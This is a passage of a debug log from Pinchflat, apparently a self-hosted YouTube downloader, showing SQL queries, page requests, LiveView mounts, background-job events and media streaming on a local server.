((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 13:49:43.372 [debug] Replied in 77ms 13:49:44.862 [info] GET /sources/1 13:49:44.862 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "1"} Pipelines: [:browser] 13:49:44.862 [debug] QUERY OK source="sources" db=0.1ms idle=86.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 13:49:44.862 [debug] QUERY OK source="media_profiles" db=0.1ms idle=86.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 13:49:44.886 [debug] QUERY OK source="tasks" db=23.0ms idle=87.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [1, "executing", "available", "scheduled", "retryable"] 13:49:44.886 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=110.4ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [658, 31] 13:49:44.886 [debug] QUERY OK source="settings" db=0.0ms idle=99.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:49:44.886 [debug] QUERY OK source="settings" db=0.0ms idle=24.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:49:44.887 [debug] QUERY OK source="settings" db=0.0ms idle=24.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:49:44.887 [debug] QUERY OK source="sources" db=0.0ms idle=1.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 13:49:44.888 [debug] QUERY OK source="media_items" db=0.9ms idle=1.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 13:49:44.889 [debug] QUERY OK source="media_items" db=1.0ms idle=2.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 13:49:44.890 [debug] QUERY OK source="sources" db=0.0ms idle=3.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 13:49:44.890 [debug] QUERY OK source="media_items" db=0.1ms idle=3.1ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 13:49:44.890 [debug] QUERY OK source="media_items" db=0.4ms idle=2.8ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 13:49:44.891 [debug] QUERY OK source="sources" db=0.0ms idle=2.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 13:49:44.892 [debug] QUERY OK source="media_items" db=0.8ms idle=1.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [1] 13:49:44.893 [debug] QUERY OK source="media_items" db=1.1ms idle=2.1ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 13:49:44.894 [info] Sent 200 in 31ms 13:49:44.911 [info] CONNECTED TO Phoenix.LiveView.Socket in 13µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "JXgFGA95YQUbR1onCQ1AKClZADRWMAg1c1rhx23OPj1FKw8YktLSnDPv", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "http://192.168.1.7:8945/assets/app-ec454b024a27f3bffb6e1a52ff1601c2.css?vsn=d", "1" => "http://192.168.1.7:8945/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 13:49:44.925 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "FIwpwKRJK-kaBzxqB-Lg8tXC", "media_state" => "pending", "source_id" => 1} 13:49:44.926 [debug] QUERY OK source="sources" db=0.1ms idle=35.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 13:49:44.927 [debug] QUERY OK source="media_items" db=0.8ms idle=35.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 13:49:44.928 [debug] QUERY OK source="media_items" db=0.9ms idle=35.8ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 13:49:44.928 [debug] Replied in 2ms 13:49:44.928 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "FIwpwKRJK-kaBzxqB-Lg8tXC", "media_state" => "downloaded", "source_id" => 1} 13:49:44.928 [debug] QUERY OK source="sources" db=0.0ms idle=36.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 13:49:44.928 [debug] QUERY OK source="media_items" db=0.1ms idle=35.2ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 13:49:44.929 [debug] QUERY OK source="media_items" db=0.6ms idle=2.9ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 13:49:44.929 [debug] Replied in 1ms 13:49:44.930 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "FIwpwKRJK-kaBzxqB-Lg8tXC", "media_state" => "other", "source_id" => 1} 13:49:44.930 [debug] QUERY OK source="sources" db=0.1ms idle=3.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 13:49:44.931 [debug] QUERY OK source="media_items" db=0.9ms idle=2.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [1] 13:49:44.932 [debug] QUERY OK source="media_items" db=1.1ms idle=3.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 13:49:44.932 [debug] Replied in 2ms 13:49:56.830 [info] {"source":"oban","duration":328,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:50:00.571 [info] {"source":"oban","duration":131,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:50:26.831 [info] {"source":"oban","duration":405,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:50:41.778 [info] GET /sources/1/media/2 13:50:41.778 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "2", "source_id" => "1"} Pipelines: [:browser] 13:50:41.779 [debug] QUERY OK source="media_items" db=0.1ms idle=1003.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [2] 13:50:41.779 [debug] QUERY OK source="tasks" db=0.1ms idle=1003.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [2] 13:50:41.779 [debug] QUERY OK source="sources" db=0.2ms idle=1003.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 13:50:41.779 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=1003.9ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [9] 13:50:41.780 [debug] QUERY OK source="settings" db=0.0ms idle=936.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:50:41.780 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:50:41.780 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:50:41.780 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 13:50:41.781 [info] Sent 200 in 2ms 13:50:41.808 [info] GET /media/dcbf5f18-d2d2-4574-b52c-badc1a56df4c/stream 13:50:41.808 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "dcbf5f18-d2d2-4574-b52c-badc1a56df4c", "v" => "1784586508"} Pipelines: [:maybe_basic_auth] 13:50:41.809 [debug] QUERY OK source="media_items" db=0.4ms idle=28.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["dcbf5f18-d2d2-4574-b52c-badc1a56df4c"] 13:50:41.809 [debug] Streaming media item: dcbf5f18-d2d2-4574-b52c-badc1a56df4c from 0 to 131891169 13:50:41.809 [info] Sent 206 in 834µs 13:50:41.844 [info] GET /media/dcbf5f18-d2d2-4574-b52c-badc1a56df4c/stream 13:50:41.845 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "dcbf5f18-d2d2-4574-b52c-badc1a56df4c", "v" => "1784586508"} Pipelines: [:maybe_basic_auth] 13:50:41.845 [debug] QUERY OK source="media_items" db=0.1ms idle=64.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["dcbf5f18-d2d2-4574-b52c-badc1a56df4c"] 13:50:41.845 [debug] Streaming media item: dcbf5f18-d2d2-4574-b52c-badc1a56df4c from 983040 to 131891169 13:50:41.845 [info] Sent 206 in 695µs 13:50:41.861 [info] GET /media/dcbf5f18-d2d2-4574-b52c-badc1a56df4c/stream 13:50:41.861 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "dcbf5f18-d2d2-4574-b52c-badc1a56df4c", "v" => "1784586508"} Pipelines: [:maybe_basic_auth] 13:50:41.861 [debug] QUERY OK source="media_items" db=0.1ms idle=81.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) 